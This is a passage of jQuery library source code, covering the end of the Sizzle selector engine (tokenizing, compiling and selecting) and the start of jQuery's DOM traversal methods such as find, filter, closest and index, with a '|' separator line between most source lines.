"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
|
|
var i = argument < 0 ? argument + length : argument;
|
|
for ( ; --i >= 0; ) {
|
|
matchIndexes.push( i );
|
|
}
|
|
return matchIndexes;
|
|
}),
|
|
|
|
"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
|
|
var i = argument < 0 ? argument + length : argument;
|
|
for ( ; ++i < length; ) {
|
|
matchIndexes.push( i );
|
|
}
|
|
return matchIndexes;
|
|
})
|
|
}
|
|
};
|
|
|
|
Expr.pseudos["nth"] = Expr.pseudos["eq"];
|
|
|
|
// Add button/input type pseudos
|
|
for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
|
|
Expr.pseudos[ i ] = createInputPseudo( i );
|
|
}
|
|
for ( i in { submit: true, reset: true } ) {
|
|
Expr.pseudos[ i ] = createButtonPseudo( i );
|
|
}
|
|
|
|
// Easy API for creating new setFilters
|
|
function setFilters() {}
|
|
setFilters.prototype = Expr.filters = Expr.pseudos;
|
|
Expr.setFilters = new setFilters();
|
|
|
|
tokenize = Sizzle.tokenize = function( selector, parseOnly ) {
|
|
var matched, match, tokens, type,
|
|
soFar, groups, preFilters,
|
|
cached = tokenCache[ selector + " " ];
|
|
|
|
if ( cached ) {
|
|
return parseOnly ? 0 : cached.slice( 0 );
|
|
}
|
|
|
|
soFar = selector;
|
|
groups = [];
|
|
preFilters = Expr.preFilter;
|
|
|
|
while ( soFar ) {
|
|
|
|
// Comma and first run
|
|
if ( !matched || (match = rcomma.exec( soFar )) ) {
|
|
if ( match ) {
|
|
// Don't consume trailing commas as valid
|
|
soFar = soFar.slice( match[0].length ) || soFar;
|
|
}
|
|
groups.push( (tokens = []) );
|
|
}
|
|
|
|
matched = false;
|
|
|
|
// Combinators
|
|
if ( (match = rcombinators.exec( soFar )) ) {
|
|
matched = match.shift();
|
|
tokens.push({
|
|
value: matched,
|
|
// Cast descendant combinators to space
|
|
type: match[0].replace( rtrim, " " )
|
|
});
|
|
soFar = soFar.slice( matched.length );
|
|
}
|
|
|
|
// Filters
|
|
for ( type in Expr.filter ) {
|
|
if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
|
|
(match = preFilters[ type ]( match ))) ) {
|
|
matched = match.shift();
|
|
tokens.push({
|
|
value: matched,
|
|
type: type,
|
|
matches: match
|
|
});
|
|
soFar = soFar.slice( matched.length );
|
|
}
|
|
}
|
|
|
|
if ( !matched ) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Return the length of the invalid excess
|
|
// if we're just parsing
|
|
// Otherwise, throw an error or return tokens
|
|
return parseOnly ?
|
|
soFar.length :
|
|
soFar ?
|
|
Sizzle.error( selector ) :
|
|
// Cache the tokens
|
|
tokenCache( selector, groups ).slice( 0 );
|
|
};
|
|
|
|
function toSelector( tokens ) {
|
|
var i = 0,
|
|
len = tokens.length,
|
|
selector = "";
|
|
for ( ; i < len; i++ ) {
|
|
selector += tokens[i].value;
|
|
}
|
|
return selector;
|
|
}
|
|
|
|
function addCombinator( matcher, combinator, base ) {
|
|
var dir = combinator.dir,
|
|
skip = combinator.next,
|
|
key = skip || dir,
|
|
checkNonElements = base && key === "parentNode",
|
|
doneName = done++;
|
|
|
|
return combinator.first ?
|
|
// Check against closest ancestor/preceding element
|
|
function( elem, context, xml ) {
|
|
while ( (elem = elem[ dir ]) ) {
|
|
if ( elem.nodeType === 1 || checkNonElements ) {
|
|
return matcher( elem, context, xml );
|
|
}
|
|
}
|
|
return false;
|
|
} :
|
|
|
|
// Check against all ancestor/preceding elements
|
|
function( elem, context, xml ) {
|
|
var oldCache, uniqueCache, outerCache,
|
|
newCache = [ dirruns, doneName ];
|
|
|
|
// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching
|
|
if ( xml ) {
|
|
while ( (elem = elem[ dir ]) ) {
|
|
if ( elem.nodeType === 1 || checkNonElements ) {
|
|
if ( matcher( elem, context, xml ) ) {
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
} else {
|
|
while ( (elem = elem[ dir ]) ) {
|
|
if ( elem.nodeType === 1 || checkNonElements ) {
|
|
outerCache = elem[ expando ] || (elem[ expando ] = {});
|
|
|
|
// Support: IE <9 only
|
|
// Defend against cloned attroperties (jQuery gh-1709)
|
|
uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {});
|
|
|
|
if ( skip && skip === elem.nodeName.toLowerCase() ) {
|
|
elem = elem[ dir ] || elem;
|
|
} else if ( (oldCache = uniqueCache[ key ]) &&
|
|
oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
|
|
|
|
// Assign to newCache so results back-propagate to previous elements
|
|
return (newCache[ 2 ] = oldCache[ 2 ]);
|
|
} else {
|
|
// Reuse newcache so results back-propagate to previous elements
|
|
uniqueCache[ key ] = newCache;
|
|
|
|
// A match means we're done; a fail means we have to keep checking
|
|
if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
};
|
|
}
|
|
|
|
function elementMatcher( matchers ) {
|
|
return matchers.length > 1 ?
|
|
function( elem, context, xml ) {
|
|
var i = matchers.length;
|
|
while ( i-- ) {
|
|
if ( !matchers[i]( elem, context, xml ) ) {
|
|
return false;
|
|
}
|
|
}
|
|
return true;
|
|
} :
|
|
matchers[0];
|
|
}
|
|
|
|
function multipleContexts( selector, contexts, results ) {
|
|
var i = 0,
|
|
len = contexts.length;
|
|
for ( ; i < len; i++ ) {
|
|
Sizzle( selector, contexts[i], results );
|
|
}
|
|
return results;
|
|
}
|
|
|
|
function condense( unmatched, map, filter, context, xml ) {
|
|
var elem,
|
|
newUnmatched = [],
|
|
i = 0,
|
|
len = unmatched.length,
|
|
mapped = map != null;
|
|
|
|
for ( ; i < len; i++ ) {
|
|
if ( (elem = unmatched[i]) ) {
|
|
if ( !filter || filter( elem, context, xml ) ) {
|
|
newUnmatched.push( elem );
|
|
if ( mapped ) {
|
|
map.push( i );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return newUnmatched;
|
|
}
|
|
|
|
function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
|
|
if ( postFilter && !postFilter[ expando ] ) {
|
|
postFilter = setMatcher( postFilter );
|
|
}
|
|
if ( postFinder && !postFinder[ expando ] ) {
|
|
postFinder = setMatcher( postFinder, postSelector );
|
|
}
|
|
return markFunction(function( seed, results, context, xml ) {
|
|
var temp, i, elem,
|
|
preMap = [],
|
|
postMap = [],
|
|
preexisting = results.length,
|
|
|
|
// Get initial elements from seed or context
|
|
elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
|
|
|
|
// Prefilter to get matcher input, preserving a map for seed-results synchronization
|
|
matcherIn = preFilter && ( seed || !selector ) ?
|
|
condense( elems, preMap, preFilter, context, xml ) :
|
|
elems,
|
|
|
|
matcherOut = matcher ?
|
|
// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
|
|
postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
|
|
|
|
// ...intermediate processing is necessary
|
|
[] :
|
|
|
|
// ...otherwise use results directly
|
|
results :
|
|
matcherIn;
|
|
|
|
// Find primary matches
|
|
if ( matcher ) {
|
|
matcher( matcherIn, matcherOut, context, xml );
|
|
}
|
|
|
|
// Apply postFilter
|
|
if ( postFilter ) {
|
|
temp = condense( matcherOut, postMap );
|
|
postFilter( temp, [], context, xml );
|
|
|
|
// Un-match failing elements by moving them back to matcherIn
|
|
i = temp.length;
|
|
while ( i-- ) {
|
|
if ( (elem = temp[i]) ) {
|
|
matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
|
|
}
|
|
}
|
|
}
|
|
|
|
if ( seed ) {
|
|
if ( postFinder || preFilter ) {
|
|
if ( postFinder ) {
|
|
// Get the final matcherOut by condensing this intermediate into postFinder contexts
|
|
temp = [];
|
|
i = matcherOut.length;
|
|
while ( i-- ) {
|
|
if ( (elem = matcherOut[i]) ) {
|
|
// Restore matcherIn since elem is not yet a final match
|
|
temp.push( (matcherIn[i] = elem) );
|
|
}
|
|
}
|
|
postFinder( null, (matcherOut = []), temp, xml );
|
|
}
|
|
|
|
// Move matched elements from seed to results to keep them synchronized
|
|
i = matcherOut.length;
|
|
while ( i-- ) {
|
|
if ( (elem = matcherOut[i]) &&
|
|
(temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {
|
|
|
|
seed[temp] = !(results[temp] = elem);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Add elements to results, through postFinder if defined
|
|
} else {
|
|
matcherOut = condense(
|
|
matcherOut === results ?
|
|
matcherOut.splice( preexisting, matcherOut.length ) :
|
|
matcherOut
|
|
);
|
|
if ( postFinder ) {
|
|
postFinder( null, results, matcherOut, xml );
|
|
} else {
|
|
push.apply( results, matcherOut );
|
|
}
|
|
}
|
|
});
|
|
}
|
|
|
|
function matcherFromTokens( tokens ) {
|
|
var checkContext, matcher, j,
|
|
len = tokens.length,
|
|
leadingRelative = Expr.relative[ tokens[0].type ],
|
|
implicitRelative = leadingRelative || Expr.relative[" "],
|
|
i = leadingRelative ? 1 : 0,
|
|
|
|
// The foundational matcher ensures that elements are reachable from top-level context(s)
|
|
matchContext = addCombinator( function( elem ) {
|
|
return elem === checkContext;
|
|
}, implicitRelative, true ),
|
|
matchAnyContext = addCombinator( function( elem ) {
|
|
return indexOf( checkContext, elem ) > -1;
|
|
}, implicitRelative, true ),
|
|
matchers = [ function( elem, context, xml ) {
|
|
var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
|
|
(checkContext = context).nodeType ?
|
|
matchContext( elem, context, xml ) :
|
|
matchAnyContext( elem, context, xml ) );
|
|
// Avoid hanging onto element (issue #299)
|
|
checkContext = null;
|
|
return ret;
|
|
} ];
|
|
|
|
for ( ; i < len; i++ ) {
|
|
if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
|
|
matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
|
|
} else {
|
|
matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
|
|
|
|
// Return special upon seeing a positional matcher
|
|
if ( matcher[ expando ] ) {
|
|
// Find the next relative operator (if any) for proper handling
|
|
j = ++i;
|
|
for ( ; j < len; j++ ) {
|
|
if ( Expr.relative[ tokens[j].type ] ) {
|
|
break;
|
|
}
|
|
}
|
|
return setMatcher(
|
|
i > 1 && elementMatcher( matchers ),
|
|
i > 1 && toSelector(
|
|
// If the preceding token was a descendant combinator, insert an implicit any-element `*`
|
|
tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
|
|
).replace( rtrim, "$1" ),
|
|
matcher,
|
|
i < j && matcherFromTokens( tokens.slice( i, j ) ),
|
|
j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
|
|
j < len && toSelector( tokens )
|
|
);
|
|
}
|
|
matchers.push( matcher );
|
|
}
|
|
}
|
|
|
|
return elementMatcher( matchers );
|
|
}
|
|
|
|
function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
|
|
var bySet = setMatchers.length > 0,
|
|
byElement = elementMatchers.length > 0,
|
|
superMatcher = function( seed, context, xml, results, outermost ) {
|
|
var elem, j, matcher,
|
|
matchedCount = 0,
|
|
i = "0",
|
|
unmatched = seed && [],
|
|
setMatched = [],
|
|
contextBackup = outermostContext,
|
|
// We must always have either seed elements or outermost context
|
|
elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
|
|
// Use integer dirruns iff this is the outermost matcher
|
|
dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
|
|
len = elems.length;
|
|
|
|
if ( outermost ) {
|
|
outermostContext = context === document || context || outermost;
|
|
}
|
|
|
|
// Add elements passing elementMatchers directly to results
|
|
// Support: IE<9, Safari
|
|
// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
|
|
for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
|
|
if ( byElement && elem ) {
|
|
j = 0;
|
|
if ( !context && elem.ownerDocument !== document ) {
|
|
setDocument( elem );
|
|
xml = !documentIsHTML;
|
|
}
|
|
while ( (matcher = elementMatchers[j++]) ) {
|
|
if ( matcher( elem, context || document, xml) ) {
|
|
results.push( elem );
|
|
break;
|
|
}
|
|
}
|
|
if ( outermost ) {
|
|
dirruns = dirrunsUnique;
|
|
}
|
|
}
|
|
|
|
// Track unmatched elements for set filters
|
|
if ( bySet ) {
|
|
// They will have gone through all possible matchers
|
|
if ( (elem = !matcher && elem) ) {
|
|
matchedCount--;
|
|
}
|
|
|
|
// Lengthen the array for every element, matched or not
|
|
if ( seed ) {
|
|
unmatched.push( elem );
|
|
}
|
|
}
|
|
}
|
|
|
|
// `i` is now the count of elements visited above, and adding it to `matchedCount`
|
|
// makes the latter nonnegative.
|
|
matchedCount += i;
|
|
|
|
// Apply set filters to unmatched elements
|
|
// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`
|
|
// equals `i`), unless we didn't visit _any_ elements in the above loop because we have
|
|
// no element matchers and no seed.
|
|
// Incrementing an initially-string "0" `i` allows `i` to remain a string only in that
|
|
// case, which will result in a "00" `matchedCount` that differs from `i` but is also
|
|
// numerically zero.
|
|
if ( bySet && i !== matchedCount ) {
|
|
j = 0;
|
|
while ( (matcher = setMatchers[j++]) ) {
|
|
matcher( unmatched, setMatched, context, xml );
|
|
}
|
|
|
|
if ( seed ) {
|
|
// Reintegrate element matches to eliminate the need for sorting
|
|
if ( matchedCount > 0 ) {
|
|
while ( i-- ) {
|
|
if ( !(unmatched[i] || setMatched[i]) ) {
|
|
setMatched[i] = pop.call( results );
|
|
}
|
|
}
|
|
}
|
|
|
|
// Discard index placeholder values to get only actual matches
|
|
setMatched = condense( setMatched );
|
|
}
|
|
|
|
// Add matches to results
|
|
push.apply( results, setMatched );
|
|
|
|
// Seedless set matches succeeding multiple successful matchers stipulate sorting
|
|
if ( outermost && !seed && setMatched.length > 0 &&
|
|
( matchedCount + setMatchers.length ) > 1 ) {
|
|
|
|
Sizzle.uniqueSort( results );
|
|
}
|
|
}
|
|
|
|
// Override manipulation of globals by nested matchers
|
|
if ( outermost ) {
|
|
dirruns = dirrunsUnique;
|
|
outermostContext = contextBackup;
|
|
}
|
|
|
|
return unmatched;
|
|
};
|
|
|
|
return bySet ?
|
|
markFunction( superMatcher ) :
|
|
superMatcher;
|
|
}
|
|
|
|
compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
|
|
var i,
|
|
setMatchers = [],
|
|
elementMatchers = [],
|
|
cached = compilerCache[ selector + " " ];
|
|
|
|
if ( !cached ) {
|
|
// Generate a function of recursive functions that can be used to check each element
|
|
if ( !match ) {
|
|
match = tokenize( selector );
|
|
}
|
|
i = match.length;
|
|
while ( i-- ) {
|
|
cached = matcherFromTokens( match[i] );
|
|
if ( cached[ expando ] ) {
|
|
setMatchers.push( cached );
|
|
} else {
|
|
elementMatchers.push( cached );
|
|
}
|
|
}
|
|
|
|
// Cache the compiled function
|
|
cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
|
|
|
|
// Save selector and tokenization
|
|
cached.selector = selector;
|
|
}
|
|
return cached;
|
|
};
|
|
|
|
/**
|
|
* A low-level selection function that works with Sizzle's compiled
|
|
* selector functions
|
|
* @param {String|Function} selector A selector or a pre-compiled
|
|
* selector function built with Sizzle.compile
|
|
* @param {Element} context
|
|
* @param {Array} [results]
|
|
* @param {Array} [seed] A set of elements to match against
|
|
*/
|
|
select = Sizzle.select = function( selector, context, results, seed ) {
|
|
var i, tokens, token, type, find,
|
|
compiled = typeof selector === "function" && selector,
|
|
match = !seed && tokenize( (selector = compiled.selector || selector) );
|
|
|
|
results = results || [];
|
|
|
|
// Try to minimize operations if there is only one selector in the list and no seed
|
|
// (the latter of which guarantees us context)
|
|
if ( match.length === 1 ) {
|
|
|
|
// Reduce context if the leading compound selector is an ID
|
|
tokens = match[0] = match[0].slice( 0 );
|
|
if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
|
|
context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) {
|
|
|
|
context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
|
|
if ( !context ) {
|
|
return results;
|
|
|
|
// Precompiled matchers will still verify ancestry, so step up a level
|
|
} else if ( compiled ) {
|
|
context = context.parentNode;
|
|
}
|
|
|
|
selector = selector.slice( tokens.shift().value.length );
|
|
}
|
|
|
|
// Fetch a seed set for right-to-left matching
|
|
i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
|
|
while ( i-- ) {
|
|
token = tokens[i];
|
|
|
|
// Abort if we hit a combinator
|
|
if ( Expr.relative[ (type = token.type) ] ) {
|
|
break;
|
|
}
|
|
if ( (find = Expr.find[ type ]) ) {
|
|
// Search, expanding context for leading sibling combinators
|
|
if ( (seed = find(
|
|
token.matches[0].replace( runescape, funescape ),
|
|
rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
|
|
)) ) {
|
|
|
|
// If seed is empty or no tokens remain, we can return early
|
|
tokens.splice( i, 1 );
|
|
selector = seed.length && toSelector( tokens );
|
|
if ( !selector ) {
|
|
push.apply( results, seed );
|
|
return results;
|
|
}
|
|
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Compile and execute a filtering function if one is not provided
|
|
// Provide `match` to avoid retokenization if we modified the selector above
|
|
( compiled || compile( selector, match ) )(
|
|
seed,
|
|
context,
|
|
!documentIsHTML,
|
|
results,
|
|
!context || rsibling.test( selector ) && testContext( context.parentNode ) || context
|
|
);
|
|
return results;
|
|
};
|
|
|
|
// One-time assignments
|
|
|
|
// Sort stability
|
|
support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
|
|
|
|
// Support: Chrome 14-35+
|
|
// Always assume duplicates if they aren't passed to the comparison function
|
|
support.detectDuplicates = !!hasDuplicate;
|
|
|
|
// Initialize against the default document
|
|
setDocument();
|
|
|
|
// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
|
|
// Detached nodes confoundingly follow *each other*
|
|
support.sortDetached = assert(function( el ) {
|
|
// Should return 1, but returns 4 (following)
|
|
return el.compareDocumentPosition( document.createElement("fieldset") ) & 1;
|
|
});
|
|
|
|
// Support: IE<8
|
|
// Prevent attribute/property "interpolation"
|
|
// https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
|
|
if ( !assert(function( el ) {
|
|
el.innerHTML = "<a href='#'></a>";
|
|
return el.firstChild.getAttribute("href") === "#" ;
|
|
}) ) {
|
|
addHandle( "type|href|height|width", function( elem, name, isXML ) {
|
|
if ( !isXML ) {
|
|
return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
|
|
}
|
|
});
|
|
}
|
|
|
|
// Support: IE<9
|
|
// Use defaultValue in place of getAttribute("value")
|
|
if ( !support.attributes || !assert(function( el ) {
|
|
el.innerHTML = "<input/>";
|
|
el.firstChild.setAttribute( "value", "" );
|
|
return el.firstChild.getAttribute( "value" ) === "";
|
|
}) ) {
|
|
addHandle( "value", function( elem, name, isXML ) {
|
|
if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
|
|
return elem.defaultValue;
|
|
}
|
|
});
|
|
}
|
|
|
|
// Support: IE<9
|
|
// Use getAttributeNode to fetch booleans when getAttribute lies
|
|
if ( !assert(function( el ) {
|
|
return el.getAttribute("disabled") == null;
|
|
}) ) {
|
|
addHandle( booleans, function( elem, name, isXML ) {
|
|
var val;
|
|
if ( !isXML ) {
|
|
return elem[ name ] === true ? name.toLowerCase() :
|
|
(val = elem.getAttributeNode( name )) && val.specified ?
|
|
val.value :
|
|
null;
|
|
}
|
|
});
|
|
}
|
|
|
|
return Sizzle;
|
|
|
|
})( window );
|
|
|
|
|
|
|
|
jQuery.find = Sizzle;
|
|
jQuery.expr = Sizzle.selectors;
|
|
|
|
// Deprecated
|
|
jQuery.expr[ ":" ] = jQuery.expr.pseudos;
|
|
jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;
|
|
jQuery.text = Sizzle.getText;
|
|
jQuery.isXMLDoc = Sizzle.isXML;
|
|
jQuery.contains = Sizzle.contains;
|
|
jQuery.escapeSelector = Sizzle.escape;
|
|
|
|
|
|
|
|
|
|
var dir = function( elem, dir, until ) {
|
|
var matched = [],
|
|
truncate = until !== undefined;
|
|
|
|
while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
|
|
if ( elem.nodeType === 1 ) {
|
|
if ( truncate && jQuery( elem ).is( until ) ) {
|
|
break;
|
|
}
|
|
matched.push( elem );
|
|
}
|
|
}
|
|
return matched;
|
|
};
|
|
|
|
|
|
var siblings = function( n, elem ) {
|
|
var matched = [];
|
|
|
|
for ( ; n; n = n.nextSibling ) {
|
|
if ( n.nodeType === 1 && n !== elem ) {
|
|
matched.push( n );
|
|
}
|
|
}
|
|
|
|
return matched;
|
|
};
|
|
|
|
|
|
var rneedsContext = jQuery.expr.match.needsContext;
|
|
|
|
|
|
|
|
function nodeName( elem, name ) {
|
|
|
|
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
|
|
|
|
};
|
|
var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
|
|
|
|
|
|
|
|
// Implement the identical functionality for filter and not
|
|
function winnow( elements, qualifier, not ) {
|
|
if ( isFunction( qualifier ) ) {
|
|
return jQuery.grep( elements, function( elem, i ) {
|
|
return !!qualifier.call( elem, i, elem ) !== not;
|
|
} );
|
|
}
|
|
|
|
// Single element
|
|
if ( qualifier.nodeType ) {
|
|
return jQuery.grep( elements, function( elem ) {
|
|
return ( elem === qualifier ) !== not;
|
|
} );
|
|
}
|
|
|
|
// Arraylike of elements (jQuery, arguments, Array)
|
|
if ( typeof qualifier !== "string" ) {
|
|
return jQuery.grep( elements, function( elem ) {
|
|
return ( indexOf.call( qualifier, elem ) > -1 ) !== not;
|
|
} );
|
|
}
|
|
|
|
// Filtered directly for both simple and complex selectors
|
|
return jQuery.filter( qualifier, elements, not );
|
|
}
|
|
|
|
jQuery.filter = function( expr, elems, not ) {
|
|
var elem = elems[ 0 ];
|
|
|
|
if ( not ) {
|
|
expr = ":not(" + expr + ")";
|
|
}
|
|
|
|
if ( elems.length === 1 && elem.nodeType === 1 ) {
|
|
return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];
|
|
}
|
|
|
|
return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
|
|
return elem.nodeType === 1;
|
|
} ) );
|
|
};
|
|
|
|
jQuery.fn.extend( {
|
|
find: function( selector ) {
|
|
var i, ret,
|
|
len = this.length,
|
|
self = this;
|
|
|
|
if ( typeof selector !== "string" ) {
|
|
return this.pushStack( jQuery( selector ).filter( function() {
|
|
for ( i = 0; i < len; i++ ) {
|
|
if ( jQuery.contains( self[ i ], this ) ) {
|
|
return true;
|
|
}
|
|
}
|
|
} ) );
|
|
}
|
|
|
|
ret = this.pushStack( [] );
|
|
|
|
for ( i = 0; i < len; i++ ) {
|
|
jQuery.find( selector, self[ i ], ret );
|
|
}
|
|
|
|
return len > 1 ? jQuery.uniqueSort( ret ) : ret;
|
|
},
|
|
filter: function( selector ) {
|
|
return this.pushStack( winnow( this, selector || [], false ) );
|
|
},
|
|
not: function( selector ) {
|
|
return this.pushStack( winnow( this, selector || [], true ) );
|
|
},
|
|
is: function( selector ) {
|
|
return !!winnow(
|
|
this,
|
|
|
|
// If this is a positional/relative selector, check membership in the returned set
|
|
// so $("p:first").is("p:last") won't return true for a doc with two "p".
|
|
typeof selector === "string" && rneedsContext.test( selector ) ?
|
|
jQuery( selector ) :
|
|
selector || [],
|
|
false
|
|
).length;
|
|
}
|
|
} );
|
|
|
|
|
|
// Initialize a jQuery object
|
|
|
|
|
|
// A central reference to the root jQuery(document)
|
|
var rootjQuery,
|
|
|
|
// A simple way to check for HTML strings
|
|
// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
|
|
// Strict HTML recognition (#11290: must start with <)
|
|
// Shortcut simple #id case for speed
|
|
rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,
|
|
|
|
init = jQuery.fn.init = function( selector, context, root ) {
|
|
var match, elem;
|
|
|
|
// HANDLE: $(""), $(null), $(undefined), $(false)
|
|
if ( !selector ) {
|
|
return this;
|
|
}
|
|
|
|
// Method init() accepts an alternate rootjQuery
|
|
// so migrate can support jQuery.sub (gh-2101)
|
|
root = root || rootjQuery;
|
|
|
|
// Handle HTML strings
|
|
if ( typeof selector === "string" ) {
|
|
if ( selector[ 0 ] === "<" &&
|
|
selector[ selector.length - 1 ] === ">" &&
|
|
selector.length >= 3 ) {
|
|
|
|
// Assume that strings that start and end with <> are HTML and skip the regex check
|
|
match = [ null, selector, null ];
|
|
|
|
} else {
|
|
match = rquickExpr.exec( selector );
|
|
}
|
|
|
|
// Match html or make sure no context is specified for #id
|
|
if ( match && ( match[ 1 ] || !context ) ) {
|
|
|
|
// HANDLE: $(html) -> $(array)
|
|
if ( match[ 1 ] ) {
|
|
context = context instanceof jQuery ? context[ 0 ] : context;
|
|
|
|
// Option to run scripts is true for back-compat
|
|
// Intentionally let the error be thrown if parseHTML is not present
|
|
jQuery.merge( this, jQuery.parseHTML(
|
|
match[ 1 ],
|
|
context && context.nodeType ? context.ownerDocument || context : document,
|
|
true
|
|
) );
|
|
|
|
// HANDLE: $(html, props)
|
|
if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
|
|
for ( match in context ) {
|
|
|
|
// Properties of context are called as methods if possible
|
|
if ( isFunction( this[ match ] ) ) {
|
|
this[ match ]( context[ match ] );
|
|
|
|
// ...and otherwise set as attributes
|
|
} else {
|
|
this.attr( match, context[ match ] );
|
|
}
|
|
}
|
|
}
|
|
|
|
return this;
|
|
|
|
// HANDLE: $(#id)
|
|
} else {
|
|
elem = document.getElementById( match[ 2 ] );
|
|
|
|
if ( elem ) {
|
|
|
|
// Inject the element directly into the jQuery object
|
|
this[ 0 ] = elem;
|
|
this.length = 1;
|
|
}
|
|
return this;
|
|
}
|
|
|
|
// HANDLE: $(expr, $(...))
|
|
} else if ( !context || context.jquery ) {
|
|
return ( context || root ).find( selector );
|
|
|
|
// HANDLE: $(expr, context)
|
|
// (which is just equivalent to: $(context).find(expr)
|
|
} else {
|
|
return this.constructor( context ).find( selector );
|
|
}
|
|
|
|
// HANDLE: $(DOMElement)
|
|
} else if ( selector.nodeType ) {
|
|
this[ 0 ] = selector;
|
|
this.length = 1;
|
|
return this;
|
|
|
|
// HANDLE: $(function)
|
|
// Shortcut for document ready
|
|
} else if ( isFunction( selector ) ) {
|
|
return root.ready !== undefined ?
|
|
root.ready( selector ) :
|
|
|
|
// Execute immediately if ready is not present
|
|
selector( jQuery );
|
|
}
|
|
|
|
return jQuery.makeArray( selector, this );
|
|
};
|
|
|
|
// Give the init function the jQuery prototype for later instantiation
|
|
init.prototype = jQuery.fn;
|
|
|
|
// Initialize central reference
|
|
rootjQuery = jQuery( document );
|
|
|
|
|
|
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
|
|
|
|
// Methods guaranteed to produce a unique set when starting from a unique set
|
|
guaranteedUnique = {
|
|
children: true,
|
|
contents: true,
|
|
next: true,
|
|
prev: true
|
|
};
|
|
|
|
jQuery.fn.extend( {
|
|
has: function( target ) {
|
|
var targets = jQuery( target, this ),
|
|
l = targets.length;
|
|
|
|
return this.filter( function() {
|
|
var i = 0;
|
|
for ( ; i < l; i++ ) {
|
|
if ( jQuery.contains( this, targets[ i ] ) ) {
|
|
return true;
|
|
}
|
|
}
|
|
} );
|
|
},
|
|
|
|
closest: function( selectors, context ) {
|
|
var cur,
|
|
i = 0,
|
|
l = this.length,
|
|
matched = [],
|
|
targets = typeof selectors !== "string" && jQuery( selectors );
|
|
|
|
// Positional selectors never match, since there's no _selection_ context
|
|
if ( !rneedsContext.test( selectors ) ) {
|
|
for ( ; i < l; i++ ) {
|
|
for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {
|
|
|
|
// Always skip document fragments
|
|
if ( cur.nodeType < 11 && ( targets ?
|
|
targets.index( cur ) > -1 :
|
|
|
|
// Don't pass non-elements to Sizzle
|
|
cur.nodeType === 1 &&
|
|
jQuery.find.matchesSelector( cur, selectors ) ) ) {
|
|
|
|
matched.push( cur );
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );
|
|
},
|
|
|
|
// Determine the position of an element within the set
|
|
index: function( elem ) {
|
|
|
|
// No argument, return index in parent
|
|
if ( !elem ) {
|
|
return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
|
|
}
|
|
|
|
// Index in selector
|
|
if ( typeof elem === "string" ) {
|
|
return indexOf.call( jQuery( elem ), this[ 0 ] );
|
|
}
|
|
|
|
// Locate the position of the desired element
|
|
return indexOf.call( this,
|
|
|
|
// If it receives a jQuery object, the first element is used
|
|
elem.jquery ? elem[ 0 ] : elem
|
|
);
|
|
},
|
|
|
|
add: function( selector, context ) {
|
|
return this.pushStack(
|
|
jQuery.uniqueSort(
|
|
jQuery.merge( this.get(), jQuery( selector, context ) )
|
|
)
|
|
);
|
|
},
|
|
|
|
addBack: function( selector ) {
|
|
return this.add( selector == null ?
|
|
this.prevObject : this.prevObject.filter( selector )
|
|
);
|
|
